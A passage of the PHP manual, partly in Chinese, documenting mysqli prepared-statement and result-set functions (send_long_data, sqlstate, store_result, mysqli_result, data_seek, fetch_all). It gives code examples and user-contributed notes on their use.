This is stated in the documentation where it says "If a statement passed to mysqli_prepare() is one that produces a result set, mysqli_stmt_result_metadata() returns the result object", but it might not be clear to everyone what this entails exactly.

Hope this helps.


Send data in blocks

  • ? mysqli_stmt::result_metadata
  • mysqli_stmt::$sqlstate ?
  • PHP Manual
  • mysqli_stmt
  • Send data in blocks

mysqli_stmt::send_long_data

mysqli_stmt_send_long_data

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::send_long_data -- mysqli_stmt_send_long_data — Send data in blocks

说明

面向对象风格

public mysqli_stmt::send_long_data(int $param_num, string $data): bool

过程化风格

mysqli_stmt_send_long_data(mysqli_stmt $statement, int $param_num, string $data): bool

Allows to send parameter data to the server in pieces (or chunks), e.g. if the size of a blob exceeds the size of max_allowed_packet. This function can be called multiple times to send the parts of a character or binary data value for a column, which must be one of the TEXT or BLOB datatypes.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

param_num

Indicates which parameter to associate the data with. Parameters are numbered beginning with 0.

data

A string containing data to be sent.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 面向对象风格

<?php
$stmt = $mysqli->prepare("INSERT INTO messages (message) VALUES (?)");
$null = NULL;
$stmt->bind_param("b", $null);
$fp = fopen("messages.txt", "r");
while (!feof($fp)) {
$stmt->send_long_data(0, fread($fp, 8192));
}
fclose($fp);
$stmt->execute();
?>

参见

  • mysqli_prepare() - 预处理执行 SQL
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters

User Contributed Notes

DimeCadmium 21-Feb-2021 12:50
To ChrisH's note, you must call this function multiple times with the same $param_nr, to send the first max_allowed_packet bytes, then the next, and so on. So you might need to do a for loop over changing substr() indexes, or etc.
ChrisH 28-Nov-2019 12:40
If you are trying to write a single field which is above max_allowed_packet then this function will not help you (contrary to what the documentation example seems to show above).

Parameters in MySQL are still restricted by max_allowed_packet on a per-field basis so you will get an error like:

"mysqli_sql_exception: Parameter of prepared statement which is set through mysql_send_long_data() is longer than 'max_long_data_size' bytes"

The only real use case for this function seems to be if you are writing multiple long fields which when combined would go over max_allowed_packet.
Gustavo Narea 16-May-2006 07:00
Just in case:

'max_allowed_packet' is a MySQL variable; it is not a PHP function/variable/constant.

Further info: http://dev.mysql.com/doc/refman/4.1/en/packet-too-large.html

HTH.
lussnig at smcc dot de 26-Oct-2005 07:31
send_long_data() these function is normaly used to store Data in Binary blob field. But if the table is UTF8 and connection charset it does not expect binary data (for example images) it take utf8 Data.
This mean you have to do utf8_encode bevore sending binary data.


Returns SQLSTATE error from previous statement operation

  • ? mysqli_stmt::send_long_data
  • mysqli_stmt::store_result ?
  • PHP Manual
  • mysqli_stmt
  • Returns SQLSTATE error from previous statement operation

mysqli_stmt::$sqlstate

mysqli_stmt_sqlstate

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::$sqlstate -- mysqli_stmt_sqlstate — Returns SQLSTATE error from previous statement operation

说明

面向对象风格

string $mysqli_stmt->sqlstate;

过程化风格

mysqli_stmt_sqlstate(mysqli_stmt $statement): string

Returns a string containing the SQLSTATE error code for the most recently invoked prepared statement function that can succeed or fail. The error code consists of five characters. '00000' means no error. The values are specified by ANSI SQL and ODBC. For a list of possible values, see » http://dev.mysql.com/doc/mysql/en/error-handling.html.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error.

示例

Example #1 面向对象风格

<?php
/* Open a connection */
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$mysqli->query("CREATE TABLE myCountry LIKE Country");
$mysqli->query("INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = $mysqli->prepare($query)) {

/* drop table */
$mysqli->query("DROP TABLE myCountry");

/* execute query */
$stmt->execute();

printf("Error: %s.\n", $stmt->sqlstate);

/* close statement */
$stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 过程化风格

<?php
/* Open a connection */
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

mysqli_query($link, "CREATE TABLE myCountry LIKE Country");
mysqli_query($link, "INSERT INTO myCountry SELECT * FROM Country");

$query = "SELECT Name, Code FROM myCountry ORDER BY Name";
if ($stmt = mysqli_prepare($link, $query)) {

/* drop table */
mysqli_query($link, "DROP TABLE myCountry");

/* execute query */
mysqli_stmt_execute($stmt);

printf("Error: %s.\n", mysqli_stmt_sqlstate($stmt));

/* close statement */
mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Error: 42S02.

注释

Note:

Note that not all MySQL errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

参见

  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_error() - Returns a string description for last statement error

User Contributed Notes

There are no user contributed notes for this page.


Stores a result set in an internal buffer

  • ? mysqli_stmt::$sqlstate
  • mysqli_result ?
  • PHP Manual
  • mysqli_stmt
  • Stores a result set in an internal buffer

mysqli_stmt::store_result

mysqli_stmt_store_result

(PHP 5, PHP 7, PHP 8)

mysqli_stmt::store_result -- mysqli_stmt_store_result — Stores a result set in an internal buffer

说明

面向对象风格

public mysqli_stmt::store_result(): bool

过程化风格

mysqli_stmt_store_result(mysqli_stmt $statement): bool

This function should be called for queries that successfully produce a result set (e.g. SELECT, SHOW, DESCRIBE, EXPLAIN) only if the complete result set needs to be buffered in PHP. Each subsequent mysqli_stmt_fetch() call will return buffered data.

Note:

It is unnecessary to call mysqli_stmt_store_result() for other queries, but if you do, it will not harm or cause any notable performance loss in all cases. You can detect whether the query produced a result set by checking if mysqli_stmt_result_metadata() returns false.

参数

statement

仅以过程化样式：由 mysqli_stmt_init() 返回的 mysqli_stmt 对象。

返回值

成功时返回 true， 或者在失败时返回 false。

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
$stmt = $mysqli->prepare($query);
$stmt->execute();

/* store the result in an internal buffer */
$stmt->store_result();

printf("Number of rows: %d.\n", $stmt->num_rows);

Example #2 过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 20";
$stmt = mysqli_prepare($link, $query);
mysqli_stmt_execute($stmt);

/* store the result in an internal buffer */
mysqli_stmt_store_result($stmt);

printf("Number of rows: %d.\n", mysqli_stmt_num_rows($stmt));

以上示例会输出：

Number of rows: 20.

参见

  • mysqli_prepare() - 预处理执行 SQL
  • mysqli_stmt_result_metadata() - Returns result set metadata from a prepared statement
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables

User Contributed Notes

kitlum AT ukr DOT net 26-Jun-2015 10:18
Lost some hours to find out how to save multirows result of mysqli_stmt to array, when get_result prohibited.
Idea, which works is using store_result
            $stmt=$this->mysqli->prepare("SELECT surname, name, user_id, last_m_own, last_m_str, role FROM users WHERE referer_id=(?)");
                $stmt->bind_param('i',$referer_id);
                $stmt->execute();
                $stmt->store_result();
                $stmt->bind_result($ans['surname'], $ans['name'], $ans['user_id'], $ans['last_m_own'], $ans['last_m_str'], $ans['role']);
                $j=$stmt->num_rows;
                for ($i=0;$i<$j;$i++){
                    $stmt->data_seek($i);
                    $stmt->fetch();
                    foreach ($ans as $key=>$value){
                        $result[$i][$key]=$value;
                    }
                }
Hope will helpful for such newbies as me
pcc at pccglobal dot com 30-Jul-2010 04:16
When using prepare to prepare a statement to retrieve LOBs the method order matters.
Also, method 'store_result()' must be called and be called in correct order.
Failure to observe this causes PHP/MySQLi to crash or return an erroneous value.
The proper procedure order is: prepare -> execute -> store_result -> bind -> fetch
The following applies to a Windows SBS server running IIS/6.0 + PHP 5.2.1
MySQL server version 5.0.26-community-nt, client version 5.0.51a

<?php
$database = "test" ;
$table = "test" ;
$column = "flongblob" ;
$mysqli = new mysqli("localhost", "root", "<secret_password>", $database);
// Proper procedure order: prepare -> execute -> store_result -> bind -> fetch
$stmt = $mysqli->prepare("SELECT `$column` FROM `$table`") ;
$stmt->execute();
$stmt->store_result();
// Fetch a record. Bind the result to a variable called 'value' and fetch.
$stmt->bind_result($value) ;
$res = $stmt->fetch() ;
if($res)
{
  // strlen($value) should have LOB length, not 1 or zero.
  echo "$column data length is " . strlen($value) . " bytes.\n" ;
}
else
{
  echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  break ;
}
// Fetch another record.
$res = $stmt->fetch() ;
if($res)
{
  // strlen($value) should have LOB length, not 1 or zero.
  echo "$column data length is " . strlen($value) . " bytes.\n" ;
}
else
{
  echo ((false !== $res) ? "End of data" : $stmt->error) . "\n" ;
  break ;
}
$stmt->close() ;
$mysqli->close() ;
exit ;
?>

The above example should output:
  flongblob data length is 932353 bytes.
  flongblob data length is 867300 bytes.

If wrong procedure order MySQLi crashes or outputs:
  flongblob data length is 0 bytes.
  flongblob data length is 867300 bytes.
neromir at hotmail dot com 28-Oct-2008 07:14
The wording above, in the initial description of the function, can be confusing (quoted below).

"You must call mysqli_stmt_store_result() for every query that successfully produces a result set (SELECT, SHOW, DESCRIBE, EXPLAIN), and only if you want to buffer the complete result set by the client, so that the subsequent mysqli_stmt_fetch() call returns buffered data. "

I had initially understood the part saying "and only if you want to buffer..." to mean that it was only necessary to call this function if you wanted to buffer the result set.  This, however, is not the case, and the misunderstanding caused me quite a bit of grief.

So, to clarify for anyone suffering from the same misunderstanding, you ALWAYS must call this function for every query that produces a result set (as listed in the parentheses of the quote above), as far as I can tell.
Typer85 at gmail dot com 27-Dec-2006 03:58
In response to the note below me for the claim that mysqli_fetch_fields is not compatible with prepared statements.

This is untrue, it is but you have to do a little extra work. I would recommend you use a wrapper function of some sort to take care of the dirty business for you but the basic idea is the same.

Let's assume you have a prepared statement like so. I am going to use the procedural way for simplicity but the same idea can be done using the object oriented way:

<?php

// Connect Blah Blah Blah.

$connectionLink = mysqli_connect( .... );

// Query Blab Blah Blah.

$query = "Select `Id` From `Table` Where `Id` = ?";

// Prepare Query.

$prepareObject = mysqli_prepare( $connectionLink , $query );

// Bind Query.

mysqli_stmt_bind_param( $prepareObject , 'i' , 1 );

// Execute Query.

mysqli_stmt_execute( $prepareObject );

?>

Now all the above is fine and dandy to anyone familiar with using prepared statements, but if I want to use mysqli_fetch_fields or any other function that fetches meta information about a result set but does not work on prepared statements?

Enter the special function mysqli_stmt_result_metadata. It can be used as follows, assume the following code segment immediatley follows that of the above code segment.

<?php

$metaData = mysqli_stmt_result_metadata( $prepareObject );

// I Can Now Call mysqli_fetch_fields using the variable
// $metaData as an argument.

$fieldInfo = mysqli_fetch_fields( $metaData );

// Or Even This.

$fieldInfo = mysqli_num_fields( $metaData );

?>

Take a look at the Manual entry for mysqli_stmt_result_metatdata function for full details on how to expose it with prepared statements.

Good Luck,
UCFirefly (at) yahoo.com 20-Feb-2006 12:25
fetch_fields() does not seem to be compatible with prepared statements like those used here. Makes things difficult if you're using a wildcard. I guess that's better for security in some obscure way.


mysqli_result 类

(PHP 5, PHP 7, PHP 8)

简介

代表从一个数据库查询中获取的结果集。

类摘要

class mysqli_result implements IteratorAggregate {
/* 属性 */
public readonly int $current_field;
public readonly int $field_count;
public readonly ?array $lengths;
public readonly int|string $num_rows;
public int $type;
/* 方法 */
public __construct(mysqli $mysql, int $result_mode = MYSQLI_STORE_RESULT)
public data_seek(int $offset): bool
public fetch_all(int $mode = MYSQLI_NUM): array
public fetch_array(int $mode = MYSQLI_BOTH): array|null|false
public fetch_assoc(): array|null|false
public fetch_column(int $column = 0): null|int|float|string|false
public fetch_field_direct(int $index): object|false
public fetch_field(): object|false
public fetch_fields(): array
public fetch_object(string $class = "stdClass", array $constructor_args = []): object|null|false
public fetch_row(): array|null|false
public field_seek(int $index): bool
public free(): void
public close(): void
public free_result(): void
public getIterator(): Iterator
}

属性

type

存储的是否为缓冲的结果，int 形式（分别是 MYSQLI_STORE_RESULT 或 MYSQLI_USE_RESULT）。

更新日志

版本 | 说明
8.0.0 | mysqli_result 现在实现 IteratorAggregate。之前实现的是 Traversable。

Table of Contents

  • mysqli_result::__construct — Constructs a mysqli_result object
  • mysqli_result::$current_field — Get current field offset of a result pointer
  • mysqli_result::data_seek — Adjusts the result pointer to an arbitrary row in the result
  • mysqli_result::fetch_all — Fetch all result rows as an associative array, a numeric array, or both
  • mysqli_result::fetch_array — Fetch the next row of a result set as an associative, a numeric array, or both
  • mysqli_result::fetch_assoc — Fetch the next row of a result set as an associative array
  • mysqli_result::fetch_column — Fetch a single column from the next row of a result set
  • mysqli_result::fetch_field_direct — Fetch meta-data for a single field
  • mysqli_result::fetch_field — Returns the next field in the result set
  • mysqli_result::fetch_fields — Returns an array of objects representing the fields in a result set
  • mysqli_result::fetch_object — Fetch the next row of a result set as an object
  • mysqli_result::fetch_row — Fetch the next row of a result set as an enumerated array
  • mysqli_result::$field_count — Gets the number of fields in the result set
  • mysqli_result::field_seek — Set result pointer to a specified field offset
  • mysqli_result::free — Frees the memory associated with a result
  • mysqli_result::getIterator — Retrieve an external iterator
  • mysqli_result::$lengths — Returns the lengths of the columns of the current row in the result set
  • mysqli_result::$num_rows — Gets the number of rows in the result set

User Contributed Notes

Cem Kayali / cemkayali(a)eticaret.com.tr 28-Sep-2018 02:20
Switching from Php5 to Php7, especially if you have worked on an ongoing, long term project, it is unfortunate that there is no mysqli_result function.

So, this may be helpfull and you can call this function as you wish. I assume you do restricted search (searching for single row or few rows only).

function mysqli_result($search, $row, $field){
$i=0; while($results=mysqli_fetch_array($search)){
if ($i==$row){$result=$results[$field];}
$i++;}
return $result;}

Simply;

$search=mysqli_query($connection, "select name from table_name where id='7'");
$name=mysqli_result($search, 0, "id");

Best wishes,
marcus at synchromedia dot co dot uk 26-Aug-2015 03:28
If you're using the iterator interface on a result instance ($r), like this:

    foreach ($r as $d) {

the iterated value ($d) is an associative-only array, i.e. it's the same as doing this:

    while ($d = $r->fetch_assoc()) {

and NOT like this:

    while ($d = $r->fetch_row()) {

so you can't access row elements by numeric index ($d[0] etc) if you use the foreach syntax.
Marc17 26-Jan-2014 04:50
An "mysqli_result" function where $field can be like table_name.field_name with alias or not.
<?php
function mysqli_result($result,$row,$field=0) {
    if ($result===false) return false;
    if ($row>=mysqli_num_rows($result)) return false;
    if (is_string($field) && !(strpos($field,".")===false)) {
        $t_field=explode(".",$field);
        $field=-1;
        $t_fields=mysqli_fetch_fields($result);
        for ($id=0;$id<mysqli_num_fields($result);$id++) {
            if ($t_fields[$id]->table==$t_field[0] && $t_fields[$id]->name==$t_field[1]) {
                $field=$id;
                break;
            }
        }
        if ($field==-1) return false;
    }
    mysqli_data_seek($result,$row);
    $line=mysqli_fetch_array($result);
    return isset($line[$field])?$line[$field]:false;
}
?>
tuxedobob 20-Aug-2012 09:35
Converting an old project from using the mysql extension to the mysqli extension, I found the most annoying change to be the lack of a corresponding mysql_result function in mysqli. While mysql_result is a generally terrible function, it was useful for fetching a single result field *value* from a result set (for example, if looking up a user's ID).

The behavior of mysql_result is approximated here, though you may want to name it something other than mysqli_result so as to avoid thinking it's an actual, built-in function.

<?php
function mysqli_result($res, $row, $field=0) {
    $res->data_seek($row);
    $datarow = $res->fetch_array();
    return $datarow[$field];
}
?>

Implementing it via the OO interface is left as an exercise to the reader.
sinisaculic at gmail dot com 21-Oct-2010 01:58
storing this object in ANY kind will result in storing an empty object... if you try to serialize it dump it or do anything with it you will end up with a empty object.

you have to pull all data out f the object and then store the data... no other way.
Anonymous 18-Apr-2010 11:39
Generally, it appears Mysqli OO vs Procedural style has no significant difference in speed, at least with the more generally used functions and methods (connect, close, query, free, etc).

With the fetch_* family of functions and methods dealing with result rows, however, Procedural wins out.  Averaging over a hundred or so tests with a result set of 180,000 records, and using mysqli_fetch_*() functions vs. their mysqli_result::fetch_*() counterpart object methods to read and iterate over all records, all of the mysqli_fetch_*() functions win by ~0.1 seconds less.

This is interesting considering we're dealing with the same result object in both styles.

This was using Vistax64, PHP5.3.2, Mysql 5.1.45, using a bit of this code:

<?php

// procedural - takes 0.1 seconds less than OO here
$stopwatch = microtime(true);
while($row = mysqli_fetch_assoc($result)){
    ++$z;
    }
echo microtime(true) - $stopwatch;

// OO
$stopwatch = microtime(true);
while($row = $result->fetch_assoc()){
    ++$z;
    }
echo microtime(true) - $stopwatch;

?>
blar at blar dot de 08-Jan-2009 02:47
Extending the MySQLi_Result

<?php

class Database_MySQLi extends MySQLi
{
    public function query($query)
    {
        $this->real_query($query);
        return new Database_MySQLi_Result($this);
    }
}

class Database_MySQLi_Result extends MySQLi_Result
{
    public function fetch()
    {
        return $this->fetch_assoc();
    }

    public function fetchAll()
    {
        $rows = array();
        while($row = $this->fetch())
        {
            $rows[] = $row;
        }
        return $rows;
    }
}

?>


Constructs a mysqli_result object

  • ? mysqli_result
  • mysqli_result::$current_field ?
  • PHP Manual
  • mysqli_result
  • Constructs a mysqli_result object

mysqli_result::__construct

(PHP 5, PHP 7, PHP 8)

mysqli_result::__construct — Constructs a mysqli_result object

说明

public mysqli_result::__construct(mysqli $mysql, int $result_mode = MYSQLI_STORE_RESULT)

This method constructs a new mysqli_result object.

It can be used to create the mysqli_result object after calling the mysqli_real_query() or mysqli_multi_query() function. Constructing the object manually is equivalent to calling the mysqli_store_result() or mysqli_use_result() function.

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

result_mode

The result mode can be one of 2 constants indicating how the result will be returned from the MySQL server.

MYSQLI_STORE_RESULT (default) - creates a mysqli_result object with buffered result set.

MYSQLI_USE_RESULT - creates a mysqli_result object with unbuffered result set. As long as there are pending records waiting to be fetched, the connection line will be busy and all subsequent calls will return error Commands out of sync. To avoid the error all records must be fetched from the server or the result set must be discarded by calling mysqli_free_result(). The connection must remain open for the rows to be fetched.

错误／异常

If mysqli error reporting is enabled (MYSQLI_REPORT_ERROR) and the requested operation fails, a warning is generated. If, in addition, the mode is set to MYSQLI_REPORT_STRICT, a mysqli_sql_exception is thrown instead.

示例

Example #1 Creation of a mysqli_result object

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Select queries return a result set */
$mysqli->real_query("SELECT Name FROM City LIMIT 10");

$result = new mysqli_result($mysqli);
printf("Select returned %d rows.\n", $result->num_rows);

以上示例的输出类似于：

Select returned 10 rows.

参见

  • mysqli_multi_query() - 在数据库上执行一个或多个查询
  • mysqli_real_query() - 执行一个mysql查询
  • mysqli_store_result() - 传输上次查询的结果集
  • mysqli_use_result() - Initiate a result set retrieval

User Contributed Notes

There are no user contributed notes for this page.


Get current field offset of a result pointer

  • ? mysqli_result::__construct
  • mysqli_result::data_seek ?
  • PHP Manual
  • mysqli_result
  • Get current field offset of a result pointer

mysqli_result::$current_field

mysqli_field_tell

(PHP 5, PHP 7, PHP 8)

mysqli_result::$current_field -- mysqli_field_tell — Get current field offset of a result pointer

说明

面向对象风格

int $mysqli_result->current_field;

过程化风格

mysqli_field_tell(mysqli_result $result): int

Returns the position of the field cursor used for the last mysqli_fetch_field() call. This value can be used as an argument to mysqli_field_seek().

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

返回值

Returns current offset of field cursor.

示例

Example #1 面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

/* Get field information for all columns */
while ($finfo = $result->fetch_field()) {

/* get fieldpointer offset */
$currentfield = $result->current_field;

printf("Column %d:\n", $currentfield);
printf("Name: %s\n", $finfo->name);
printf("Table: %s\n", $finfo->table);
printf("max. Len: %d\n", $finfo->max_length);
printf("Flags: %d\n", $finfo->flags);
printf("Type: %d\n\n", $finfo->type);
}
$result->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

/* Get field information for all fields */
while ($finfo = mysqli_fetch_field($result)) {

/* get fieldpointer offset */
$currentfield = mysqli_field_tell($result);

printf("Column %d:\n", $currentfield);
printf("Name: %s\n", $finfo->name);
printf("Table: %s\n", $finfo->table);
printf("max. Len: %d\n", $finfo->max_length);
printf("Flags: %d\n", $finfo->flags);
printf("Type: %d\n\n", $finfo->type);
}
mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Column 1:
Name:     Name
Table:    Country
max. Len: 11
Flags:    1
Type:     254

Column 2:
Name:     SurfaceArea
Table:    Country
max. Len: 10
Flags:    32769
Type:     4

参见

  • mysqli_fetch_field() - Returns the next field in the result set
  • mysqli_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

There are no user contributed notes for this page.


Adjusts the result pointer to an arbitrary row in the result

  • ? mysqli_result::$current_field
  • mysqli_result::fetch_all ?
  • PHP Manual
  • mysqli_result
  • Adjusts the result pointer to an arbitrary row in the result

mysqli_result::data_seek

mysqli_data_seek

(PHP 5, PHP 7, PHP 8)

mysqli_result::data_seek -- mysqli_data_seek — Adjusts the result pointer to an arbitrary row in the result

说明

面向对象风格

public mysqli_result::data_seek(int $offset): bool

过程化风格

mysqli_data_seek(mysqli_result $result, int $offset): bool

The mysqli_data_seek() function seeks to an arbitrary result pointer specified by the offset in the result set.

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

offset

The row offset. Must be between zero and the total number of rows minus one (0..mysqli_num_rows() - 1).

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 mysqli::data_seek() example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
$result = $mysqli->query($query);

/* Seek to row no. 401 */
$result->data_seek(400);

/* Fetch single row */
$row = $result->fetch_row();

printf("City: %s Countrycode: %s\n", $row[0], $row[1]);

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";

$result = mysqli_query($link, $query);

/* Seek to row no. 401 */
mysqli_data_seek($result, 400);

/* Fetch single row */
$row = mysqli_fetch_row($result);

printf ("City: %s Countrycode: %s\n", $row[0], $row[1]);

以上示例会输出：

City: Benin City  Countrycode: NGA

Example #2 Adjusting the result pointer when iterating

This function can be useful when iterating over the result set to impose a custom order or rewind the result set when iterating multiple times.

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 15,4";
$result = $mysqli->query($query);

/* Iterate the result set in reverse order */
for ($row_no = $result->num_rows - 1; $row_no >= 0; $row_no--) {
$result->data_seek($row_no);

/* Fetch single row */
$row = $result->fetch_row();

printf("City: %s Countrycode: %s\n", $row[0], $row[1]);
}

/* Reset pointer to the beginning of the result set */
$result->data_seek(0);

print "\n";

/* Iterate the same result set again */
while ($row = $result->fetch_row()) {
printf("City: %s Countrycode: %s\n", $row[0], $row[1]);
}

以上示例会输出：

City: Acmbaro  Countrycode: MEX
City: Abuja  Countrycode: NGA
City: Abu Dhabi  Countrycode: ARE
City: Abottabad  Countrycode: PAK

City: Abottabad  Countrycode: PAK
City: Abu Dhabi  Countrycode: ARE
City: Abuja  Countrycode: NGA
City: Acmbaro  Countrycode: MEX

注释

Note:

This function can only be used with buffered results attained from the use of the mysqli_store_result(), mysqli_query() or mysqli_stmt_get_result() functions.

参见

  • mysqli_store_result() - 传输上次查询的结果集
  • mysqli_fetch_row() - Fetch the next row of a result set as an enumerated array
  • mysqli_fetch_array() - Fetch the next row of a result set as an associative, a numeric array, or both
  • mysqli_fetch_assoc() - Fetch the next row of a result set as an associative array
  • mysqli_fetch_object() - Fetch the next row of a result set as an object
  • mysqli_query() - 对数据库执行查询
  • mysqli_num_rows() - Gets the number of rows in the result set

User Contributed Notes

There are no user contributed notes for this page.


Fetch all result rows as an associative array, a numeric array, or both

  • ? mysqli_result::data_seek
  • mysqli_result::fetch_array ?
  • PHP Manual
  • mysqli_result
  • Fetch all result rows as an associative array, a numeric array, or both

mysqli_result::fetch_all

mysqli_fetch_all

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli_result::fetch_all -- mysqli_fetch_all — Fetch all result rows as an associative array, a numeric array, or both

说明

面向对象风格

public mysqli_result::fetch_all(int $mode = MYSQLI_NUM): array

过程化风格

mysqli_fetch_all(mysqli_result $result, int $mode = MYSQLI_NUM): array

Returns a two-dimensional array of all result rows as an associative array, a numeric array, or both.

Note:

Prior to PHP 8.1.0, available only with mysqlnd.

参数

result

仅以过程化样式：由 mysqli_query()、mysqli_store_result()、 mysqli_use_result()、mysqli_stmt_get_result() 返回的 mysqli_result 对象。

mode

This optional parameter is a constant indicating what type of array should be produced from the current row data. The possible values for this parameter are the constants MYSQLI_ASSOC, MYSQLI_NUM, or MYSQLI_BOTH.

返回值

Returns an array of associative or numeric arrays holding result rows.

更新日志

版本 | 说明
8.1.0 | Now also available when linking against libmysqlclient.

示例

Example #1 mysqli_result::fetch_all() example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$result = $mysqli->query("SELECT Name, CountryCode FROM City ORDER BY ID LIMIT 3");

$rows = $result->fetch_all(MYSQLI_ASSOC);
foreach ($rows as $row) {
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$result = mysqli_query($mysqli, "SELECT Name, CountryCode FROM City ORDER BY ID LIMIT 3");

$rows = mysqli_fetch_all($result, MYSQLI_ASSOC);
foreach ($rows as $row) {
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

以上示例会输出：

Kabul (AFG)
Qandahar (AFG)
Herat (AFG)

参见

  • mysqli_fetch_array() - Fetch the next row of a result set as an associative, a numeric array, or both
  • mysqli_fetch_column() - Fetch a single column from the next row of a result set
  • mysqli_query() - 对数据库执行查询

User Contributed Notes

darek334 at gazeta dot pl 03-Oct-2023 01:15
be careful fetch_all(MYSQLI_ASSOC ) returns an array in the form
<?php
array(0 => array(...row...), 1 => array(...row...) .... ), even if is one row...
?>
not compared to fetch_assoc() which returns one array of the result in form:
<?php
array(...row...)
?>
mail2magvay at rambler dot ru 22-May-2019 11:39
By the way, this case pretty work's too:

$services = $mysqli->query("SELECT * FROM table1");

if($services && $services->num_rows>0){
    $services->fetch_all(MYSQLI_ASSOC);
}

foreach($services as $service){
    echo $service; //work properly, cause it implements Iterator
}

That's mean in this case $services is a valid array (or empty array)
jcastro at eftec dot cl 09-Feb-2015 02:26
I tested using "fetch all" versus "while / fetch array" and :

fetch-all uses less memory (but not for so much).

In my case (test1 and test2): 147008,262848 bytes (fetch-all) versus 147112,262888 bytes (fetch-array & while.

So, about the memory, in both cases are the same.

However, about the performance
My test takes :350ms (worst case) using fetch-all, while it takes 464ms (worst case) using fetch-array, or about 35% worst using fetch array and a while cycle.

So, using fetch-all, for a normal code that returns a moderate amount of information is :
a) cleaner (a single line of code)
b) uses less memory (about 0.01% less)
c) faster.

php 5.6 32bits, windows 8.1 64bits
m dot amiot at otak-arts dot com 20-Mar-2012 10:27
If you really need this function, you can just extend the mysqli_result class with a function like this one.

<?php
        public function fetch_all($resulttype = MYSQLI_NUM)
        {
            if (method_exists('mysqli_result', 'fetch_all')) # Compatibility layer with PHP < 5.3
                $res = parent::fetch_all($resulttype);
            else
                for ($res = array(); $tmp = $this->fetch_array($resulttype);) $res[] = $tmp;

            return $res;
        }
?>
andrey at php dot net 10-Aug-2010 07:38
Return value changed in 5.3.3 - between 5.3.0 and 5.3.2 (incl.) when the result set was empty NULL was returned. 5.3.3+ returns an empty array.
Also, mysqli_fetch_all works only for buffered result sets, which are the default for mysqli_query. MYSQLI_USE_RESULT will be supported in 5.3.4+
However, it makes little sense to use it this way, materialising unbuffered sets. In this case choose STORE_RESULT, and fetch_all won't copy the data, but reference it, as it is stored already in mysqlnd.


Fetch the next row of a result set as an associative, a numeric array, or both

  • ? mysqli_result::fetch_all
